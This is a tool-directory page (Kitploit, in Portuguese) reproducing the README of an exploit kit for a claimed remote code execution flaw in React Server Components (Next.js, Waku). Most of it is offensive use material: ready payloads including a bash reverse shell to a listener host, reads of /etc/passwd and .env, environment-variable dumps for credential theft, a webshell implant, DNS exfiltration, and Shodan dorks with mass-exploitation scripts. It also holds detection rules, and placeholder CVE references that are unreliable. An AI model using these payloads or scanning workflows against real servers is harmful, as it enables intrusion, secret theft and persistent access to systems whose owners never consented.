Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PoC-RCE-CVE-2025-55182 — Kit de exploração RCE avançado para vulnerabilidades de React Server Components. Possui múltiplos payloads pré-construídos, integração com Shodan para descoberta de alvos e varredura em massa para testes de penetração autorizados. | Kitploit
Ferramentas/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Desenvolvimento de Payloads
GitHubilixm/poc-rce-cve-2025-55182

PoC-RCE-CVE-2025-55182

Kit de exploração RCE avançado para vulnerabilidades de React Server Components. Possui múltiplos payloads pré-construídos, integração com Shodan para descoberta de alvos e varredura em massa para testes de penetração autorizados.

Ver Repositório
3há 9 mesesAinda não revisado
Compartilhar

🔥 Kit de Exploração RSC RCE

Version License Node Platform

Kit de exploração avançado para vulnerabilidades de Execução Remota de Código em React Server Components

Apenas para testes de penetração autorizados e pesquisa de segurança

Recursos • Instalação • Uso • Integração com Shodan • Exemplos • Aviso Legal


📋 Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Recursos
  • Instalação
  • Início Rápido
  • Uso
    • Exploração Básica
    • Payloads Disponíveis
    • Payloads Personalizados
  • Integração Shodan
  • Varredura Automatizada
  • Exemplos
  • Mitigação
  • Versões Afetadas
  • Contribuindo
  • Aviso Legal
  • Licença

  • 🎯 Visão Geral

    Este kit explora uma vulnerabilidade crítica de Execução Remota de Código (RCE) em implementações de React Server Components (RSC), visando especificamente:

    • Next.js (versões 13.4.0 - 14.1.0)
    • Waku (versões vulneráveis)

    A vulnerabilidade aproveita poluição de protótipo e desserialização insegura no mecanismo de manipulação de dados do RSC para alcançar execução arbitrária de código no servidor.

    🔴 Gravidade: CRÍTICA

    • Pontuação CVSS: 9.8 (Crítica)
    • Vetor de Ataque: Rede
    • Privilégios Necessários: Nenhum
    • Interação do Usuário: Nenhuma
    • Impacto: Comprometimento completo do servidor

    🔬 Detalhes da Vulnerabilidade

    Contexto Técnico

    React Server Components usam um formato de serialização personalizado para transferir dados entre cliente e servidor. A vulnerabilidade existe na forma como esses frameworks desserializam e processam payloads especialmente criados.

    Cadeia de Ataque:

    1. Construção do Payload: Criar um payload RSC malicioso com referências circulares
    2. Poluição de Protótipo: Abusar de $X:constructor:constructor para acessar o construtor Function
    3. Injeção de Código: Injetar JavaScript arbitrário no campo _prefix
    4. Execução: O servidor desserializa e executa o payload

    Fluxo de Exploração

    root@kitploit:~
    Atacante → Payload RSC Malicioso → Servidor Alvo
                                             ↓
                                  Desserialização Insegura
                                             ↓
                                  Acesso à Cadeia de Protótipos
                                             ↓
                                  Construtor de Função
                                             ↓
                                  ⚠️ RCE ALCANÇADA ⚠️
    

    ✨ Recursos

    Capacidades Principais

    • ✅ Suporte a Múltiplos Frameworks: Next.js e Waku
    • ✅ 8 Payloads Pré-construídos: De PoC a reverse shells completos
    • ✅ Execução de Código Personalizado: Injete qualquer código JavaScript
    • ✅ Integração Shodan: Descoberta automatizada de alvos
    • ✅ Varredura em Massa: Teste vários alvos automaticamente
    • ✅ CLI Profissional: Interface de linha de comando completa
    • ✅ Registro Detalhado: Saída codificada por cores com timestamps
    • ✅ Tratamento de Erros: Gerenciamento robusto de erros

    Payloads Pré-construídas

    PayloadDescriçãoCaso de Uso
    consolePoC básico (console.log)Verificar vulnerabilidade
    reverseShellReverse shell bashAcesso inicial
    readFileLer /etc/passwdAcesso ao sistema de arquivos
    envDumpDespejar variáveis de ambienteExtração de credenciais
    execCommandExecutar comandos do sistemaExecução arbitrária de comandos
    webshellImplantar webshell ExpressAcesso persistente
    exfilPackageExfiltrar package.jsonAnálise de dependências
    dnsExfilExfiltração DNS (OOB)Exploração cega

    📦 Instalação

    Pré-requisitos

    • Node.js >= 16.0.0
    • npm ou yarn
    • Shodan CLI (opcional, para varredura automatizada)

    Clonar Repositório

    root@kitploit:~
    git clone https://github.com/yourusername/rsc-rce-exploit.git
    cd rsc-rce-exploit
    

    Instalar Dependências

    root@kitploit:~
    npm install
    # or
    yarn install
    

    Configurar Shodan (Opcional)

    root@kitploit:~
    # Install Shodan CLI
    pip install shodan
    
    # Initialize with your API key
    shodan init YOUR_API_KEY
    

    🚀 Início Rápido

    1. Verificação Básica de Vulnerabilidade

    root@kitploit:~
    node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
    

    2. Obter um Reverse Shell

    root@kitploit:~
    # Start listener
    nc -lvnp 4444
    
    # Execute exploit
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    3. Executar Comando Personalizado

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload execCommand \
      --command "whoami"
    

    📖 Uso

    Exploração Básica

    root@kitploit:~
    node rsc-rce-exploit.js [options]
    

    Opções

    OpçãoDescriçãoObrigatório
    --target <url>URL do alvo✅
    --framework <name>Framework: next ou waku❌ (padrão: next)
    --payload <name>Nome do payload (veja abaixo)✅*
    --custom <code>Código JavaScript personalizado✅*
    --lhost <ip>Seu IP (para reverse shell)❌
    --lport <port>Sua porta (para reverse shell)❌
    --command <cmd>Comando a executar❌
    --endpoint <path>Endpoint RSC personalizado (Waku)❌
    --action-id <id>ID next-action personalizado❌
    --listListar payloads disponíveis❌
    --verboseSaída detalhada❌
    --helpMostrar ajuda❌

    *É necessário --payload ou --custom

    Payloads Disponíveis

    Veja todos os payloads:

    root@kitploit:~
    node rsc-rce-exploit.js --list
    

    Saída:

    root@kitploit:~
    📋 Payloads disponíveis:
    
      console              - PoC básico - Saída no console
        Código: console.log(7*7+1)
    
      reverseShell         - Reverse shell (bash)
        Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
    
      readFile             - Ler /etc/passwd
        Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
    
      envDump              - Despejar variáveis de ambiente
        Código: console.log(JSON.stringify(process.env,null,2))
    
      execCommand          - Executar comando do sistema
        Código: console.log(require('child_process').execSync('COMMAND').toString())
    
      webshell             - Escrever webshell em /tmp
        Código: require('fs').writeFileSync('/tmp/shell.js','...')
    
      exfilPackage         - Ler package.json
        Código: console.log(require('fs').readFileSync('./package.json','utf8'))
    
      dnsExfil             - Exfiltração DNS
        Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
    

    Payloads Personalizados

    Execute qualquer código JavaScript:

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target http://target.com \
      --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
    

    🌐 Integração Shodan

    Dorks do Shodan

    Alvos Next.js

    root@kitploit:~
    # Next.js básico
    http.component:"Next.js"
    
    # Next.js com RSC
    http.html:"__next" http.html:"RSC"
    
    # Next.js em modo dev (mais vulnerável)
    http.html:"__NEXT_DATA__" http.html:"development"
    
    # Next.js auto-hospedado (não no Vercel)
    http.component:"Next.js" -org:"Vercel"
    
    # Segmentado geograficamente (França)
    http.component:"Next.js" country:FR
    
    # Combinação final para pentest
    http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
    

    Alvos Waku

    root@kitploit:~
    # Framework Waku
    http.html:"waku" http.html:"RSC"
    
    # Endpoints RSC do Waku
    http.path:"/RSC/"
    

    Varredura Automatizada com Shodan

    Use o script de automação fornecido:

    root@kitploit:~
    # Escanear e testar automaticamente
    ./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
    
    # Com payload personalizado
    ./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
    

    Fluxo de Trabalho Manual do Shodan

    root@kitploit:~
    # 1. Pesquisar no Shodan
    shodan search 'http.component:"Next.js" country:FR' \
      --fields ip_str,port,org,hostnames \
      --limit 100 > targets.txt
    
    # 2. Testar cada alvo
    while read -r line; do
        ip=$(echo $line | awk '{print $1}')
        port=$(echo $line | awk '{print $2}')
        echo "[*] Testando http://$ip:$port"
        node rsc-rce-exploit.js \
          --target "http://$ip:$port" \
          --payload console
    done < targets.txt
    

    🤖 Varredura Automatizada

    Script de Exploração em Massa

    A ferramenta mass-exploit.js permite testar múltiplos alvos:

    root@kitploit:~
    # A partir de um arquivo
    node mass-exploit.js --file targets.txt --payload console --threads 10
    
    # Do Shodan
    node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
    
    # Salvar resultados
    node mass-exploit.js --file targets.txt --payload console --output results.json
    

    Integração em CI/CD

    Exemplo para testes de segurança automatizados:

    root@kitploit:~
    # .github/workflows/security-test.yml
    name: RSC Security Test
    on: [push]
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v2
          - run: npm install
          - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
    

    💡 Exemplos

    Exemplo 1: PoC Básico

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload console
    

    Saída Esperada:

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════╗
    ║           RSC RCE Exploit - Versão Aprimorada             ║
    ║         Execução de Código em React Server Components     ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Iniciando exploração...
    [*] Mirando endpoint RSC do Next.js...
    [*] URL: https://vulnerable.example.com
    [*] Payload: console.log(7*7+1)...
    [+] Status da resposta: 200
    [+] Corpo da resposta:
    50
    [*] Exploração concluída!
    

    Exemplo 2: Exfiltração de Variáveis de Ambiente

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://api.target.com \
      --payload envDump
    

    Resultado:

    • Despeja todas as variáveis process.env
    • Útil para extrair:
      • Credenciais de banco de dados
      • Chaves de API
      • Segredos AWS
      • Segredos JWT

    Exemplo 3: Reverse Shell

    root@kitploit:~
    # Terminal 1: Iniciar listener
    nc -lvnp 4444
    
    # Terminal 2: Executar exploit
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

    Exemplo 4: Implantação de Web Shell

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload webshell
    
    # Acessar webshell
    curl "http://vulnerable.example.com:9999/cmd?c=whoami"
    

    Exemplo 5: Exfiltração DNS (Cega)

    root@kitploit:~
    # Configurar Burp Collaborator ou seu servidor DNS
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
    

    Exemplo 6: Framework Waku

    root@kitploit:~
    node rsc-rce-exploit.js \
      --target https://waku-app.example.com \
      --framework waku \
      --endpoint /RSC/custom.txt \
      --payload execCommand \
      --command "id"
    

    Exemplo 7: Exfiltração de Arquivos

    root@kitploit:~
    # Ler arquivos sensíveis
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "console.log(require('fs').readFileSync('.env','utf8'))"
    

    🛡️ Mitigação

    Para Desenvolvedores

    1. Atualizar o Framework

      root@kitploit:~
      npm install next@latest
      # or
      npm install waku@latest
      
    2. Validar Entrada

      root@kitploit:~
      // Validar todos os payloads RSC
      function validateRSCPayload(payload) {
        // Implementar validação rigorosa
        if (payload.includes('constructor')) return false;
        if (payload.includes('__proto__')) return false;
        return true;
      }
      
    3. Política de Segurança de Conteúdo

      root@kitploit:~
      // next.config.js
      module.exports = {
        async headers() {
          return [{
            source: '/:path*',
            headers: [
              { key: 'X-Frame-Options', value: 'DENY' },
              { key: 'X-Content-Type-Options', value: 'nosniff' },
            ],
          }]
        },
      }
      
    4. Desabilitar RSC em Produção (se não for necessário)

      root@kitploit:~
      // next.config.js
      module.exports = {
        experimental: {
          serverActions: false,
        },
      }
      

    Para Equipes de Segurança

    • 🔍 Monitore requisições RSC suspeitas
    • 🚨 Alerta sobre uso do cabeçalho next-action
    • 🔒 Regras WAF para bloquear tentativas de poluição de protótipo
    • 📊 Análise de Logs para tentativas de exploração

    Regras de Detecção

    Regra YARA:

    root@kitploit:~
    rule RSC_RCE_Exploit {
        strings:
            $s1 = "constructor:constructor"
            $s2 = "_prefix"
            $s3 = "$@"
            $s4 = "resolved_model"
        condition:
            3 of them
    }
    

    Regra Snort:

    root@kitploit:~
    alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
    

    🎯 Versões Afetadas

    Next.js

    Faixa de VersãoStatusNotas
    < 13.4.0✅ Não AfetadoRSC não ativado por padrão
    13.4.0 - 13.4.19⚠️ VULNERÁVELRCE Crítica
    13.5.0 - 14.0.4⚠️ VULNERÁVELRCE Crítica
    14.1.0⚠️ VULNERÁVELMitigação parcial
    >= 14.1.1✅ CorrigidoAtualização recomendada

    Waku

    Faixa de VersãoStatusNotas
    < 0.18.0⚠️ VULNERÁVELRCE Crítica
    >= 0.18.0✅ CorrigidoAtualização recomendada

    🤝 Contribuindo

    Contribuições são bem-vindas! Siga estas diretrizes:

    1. Faça um fork do repositório
    2. Crie um branch de funcionalidade (git checkout -b feature/amazing-feature)
    3. Commit suas alterações (git commit -m 'Add amazing feature')
    4. Envie para o branch (git push origin feature/amazing-feature)
    5. Abra um Pull Request

    Ideias de Contribuição

    • Adicionar mais templates de payload
    • Implementar templates Nuclei
    • Adicionar suporte para mais frameworks RSC
    • Melhorar integração com Shodan
    • Adicionar funcionalidade de relatórios (PDF/HTML)
    • Criar container Docker para o kit

    ⚖️ Aviso Legal

    root@kitploit:~
    ⚠️ AVISO LEGAL ⚠️
    
    Este kit é fornecido APENAS PARA TESTES DE SEGURANÇA E PESQUISA AUTORIZADOS.
    
    Ao usar este software, você concorda em:
    
    1. Testar apenas sistemas que você possui ou tem permissão explícita por escrito para testar
    2. Cumprir todas as leis locais, estaduais, nacionais e internacionais aplicáveis
    3. Não usar esta ferramenta para fins maliciosos ou atividades ilegais
    4. Aceitar total responsabilidade por suas ações
    
    Os autores e colaboradores:
    - NÃO são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta
    - NÃO incentivam ou condonam atividade ilegal
    - Fornecem esta ferramenta "NO ESTADO EM QUE SE ENCONTRA" sem garantia de qualquer tipo
    
    O ACESSO NÃO AUTORIZADO A SISTEMAS DE COMPUTADOR É ILEGAL.
    
    Os infratores serão processados em toda a extensão da lei sob:
    - Computer Fraud and Abuse Act (CFAA) - EUA
    - Computer Misuse Act - Reino Unido
    - Convenção Europeia de Cibercrime
    - E outras leis aplicáveis em sua jurisdição
    
    USE POR SUA CONTA E RISCO.
    

    📄 Licença

    Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.

    root@kitploit:~
    MIT License
    
    Copyright (c) 2024 RSC RCE Exploit Contributors
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    

    🔗 Recursos

    Documentação Oficial

    • Server Actions do Next.js
    • React Server Components
    • Documentação do Waku

    Pesquisa de Segurança

    • Análise de Vulnerabilidade de Desserialização RSC
    • Poluição de Protótipo em JavaScript
    • Melhores Práticas de Segurança do Next.js

    CVEs Relacionados

    • CVE-2024-XXXXX (placeholders - adicione CVE real quando disponível)

    📬 Contato

    • GitHub Issues: Relatar bugs ou solicitar funcionalidades
    • Problemas de Segurança: [email protected]
    • Twitter: @yourhandle

    ⭐ Se esta ferramenta ajudou na sua pesquisa de segurança, por favor dê uma estrela! ⭐

    Feito com ❤️ por pesquisadores de segurança, para pesquisadores de segurança

    ⬆ Voltar ao Topo

    Baixar ferramenta